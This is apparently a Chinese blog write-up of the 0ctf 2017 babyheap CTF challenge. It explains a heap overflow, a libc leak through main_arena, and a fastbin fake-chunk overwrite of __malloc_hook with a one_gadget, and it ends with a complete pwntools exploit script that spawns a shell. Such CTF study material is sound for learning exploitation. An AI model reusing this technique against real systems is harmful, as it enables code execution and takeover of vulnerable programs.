Limu
Articles10
Tags3
Categories0
0ctf_2017_babyheap

0ctf_2017_babyheap

分析题目

题目提供了libc 的版本,因为我使用的是archlinux系统,使用的musl的libc,没有适合的ld加载,所以去glibc-all-in-one中下载了合适的glibc并且进行编译,然后使用patchelf更换libc和ld。

文件架构及ld加载情况

丢进Ghidra中,看一下伪代码(没有加载出函数名,找到__libc_start_main找到main函数),发现在Fill选项调用的函数处,存在无限制任意写大小长度的问题,可以考虑溢出堆块。

Fill函数伪代码

使用Gdb进行调试的时候,我们发现了程序中存在alarm函数,所以我们打开hex编辑器,找到对应的位置,当然也可以搜索E8EBFEFFFF,更换为NOP(0x90),方便进行gdb的动态调试。

alarm函数位置

为了方便测试,我们先把调用函数写出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def add(size):
p.sendlineafter("Command: ",b'1')
p.sendlineafter("Size: ",str(size).encode())

def edit(index,size,content):
p.sendlineafter("Command: ",b'2')
p.sendlineafter("Index: ",str(index).encode())
p.sendlineafter("Size: ",str(size).encode())
p.sendlineafter("Content: ",content)

def show(index):
p.sendlineafter("Command: ",b'4')
p.sendlineafter("Index: ",str(index).encode())

def delete(index):
p.sendlineafter("Command: ",b'3')
p.sendlineafter("Index: ",str(index).encode())

基本思路

首先建立两个fast chunk和一个small chunk,释放第三个chunk,写入第一个chunk溢出到第二个chunk后,修改第二个chunk的大小,使之能够泄露出第三个chunk指向的main_arena的地址(不是main_arena的初始地址,是main_arena+0x58的地址,对应small_bin的位置),然后根据已知libc中main_arena的相对偏移,获取程序的基址。

然后,通过建立fake_chunk,我们修改__malloc_hook的位置的值为one_gadget地址,然后我们再创建一个chunk,就可以获取shell。

出现的问题及解决方案

1、我使用的libc和提供的libc的main_arena的偏移量不同,需要修改。

main_arena的偏移量

2、程序使用的alloc,跟malloc存在一部分的区别,malloc创建chunk后不会清空chunk的内容,而alloc会,所以,第三个创建的small_chunk需要重新修复。

3、关于fake_chunk,我们可以理解为在要修改的位置,创建一个包含它的chunk。这里我们可以利用small_bin的双链表,修改fd和bk的值,伪造一个bin,然后我们再malloc一下,在chunk内实现任意写,成功修改目标地址。

最终EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
##Author by: limu
##Terminal: i3
##Tools: pwntools
##Usage: python3 exp.py [local or remote] [yes or no] ip port

from pwn import *
#from pwnlib import *
from LibcSearcher import *
import sys
context.log_level = "debug"
context.terminal = ['i3-sensible-terminal',"-e"]
context.arch = 'amd64'
elf = ELF('./pwn')
libc = ELF("./libc64.so.6")
#libc = ELF("./libc-2.23.so")

if sys.argv[1] == 'l':
p = process("./pwn")

elif sys.argv[1] == 'r':
p = remote(sys.argv[3],sys.argv[4])

else:
print("wrong")
sys.exit()

##启动调试
if sys.argv[2] == 'y':
gdb.attach(p,gdbscript='break main')
pause()

def add(size):
p.sendlineafter("Command: ",b'1')
p.sendlineafter("Size: ",str(size).encode())

def edit(index,size,content):
p.sendlineafter("Command: ",b'2')
p.sendlineafter("Index: ",str(index).encode())
p.sendlineafter("Size: ",str(size).encode())
p.sendlineafter("Content: ",content)

def show(index):
p.sendlineafter("Command: ",b'4')
p.sendlineafter("Index: ",str(index).encode())

def delete(index):
p.sendlineafter("Command: ",b'3')
p.sendlineafter("Index: ",str(index).encode())

add(0x10) #0
add(0x10) #1
add(0x80) #2

add(0x30) #3
add(0x68) #4
add(0x10) #5 防止合并top_chunk

edit(0,0x20,b'a'*0x10+p64(0x0)+p64(0x41))
edit(2,0x20,p64(0x0)*3+p64(0x71))
delete(1)
add(0x30) #1
edit(1,0x20,p64(0x0)*3+p64(0x91)) ##修复chunk
delete(2)
show(1)
#pause()

one = 0x4525a
p.recvuntil(b"\x91" + b'\x00' * 7)
leak_addr = u64(p.recv(6).ljust(8, b"\x00"))
base_addr = leak_addr - (0x3c3b20 + 0x58)
print(hex(base_addr))
malloc_hook = libc.symbols['__malloc_hook']
one_gadget = base_addr + one
fakefd = base_addr + malloc_hook - 0x23
print(hex(fakefd))
delete(4)

edit(3,0x48,p64(0)*7+p64(0x71)+p64(fakefd))
add(0x68) #2
add(0x68) #4

print(hex(one_gadget))
edit(4,0x1b,b'\x00'*0x13+p64(one_gadget))

add(0x10)
p.interactive()
Author:Limu
Link:https://limu.ltd/2023/03/14/0ctf_2017_babyheap/
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可
×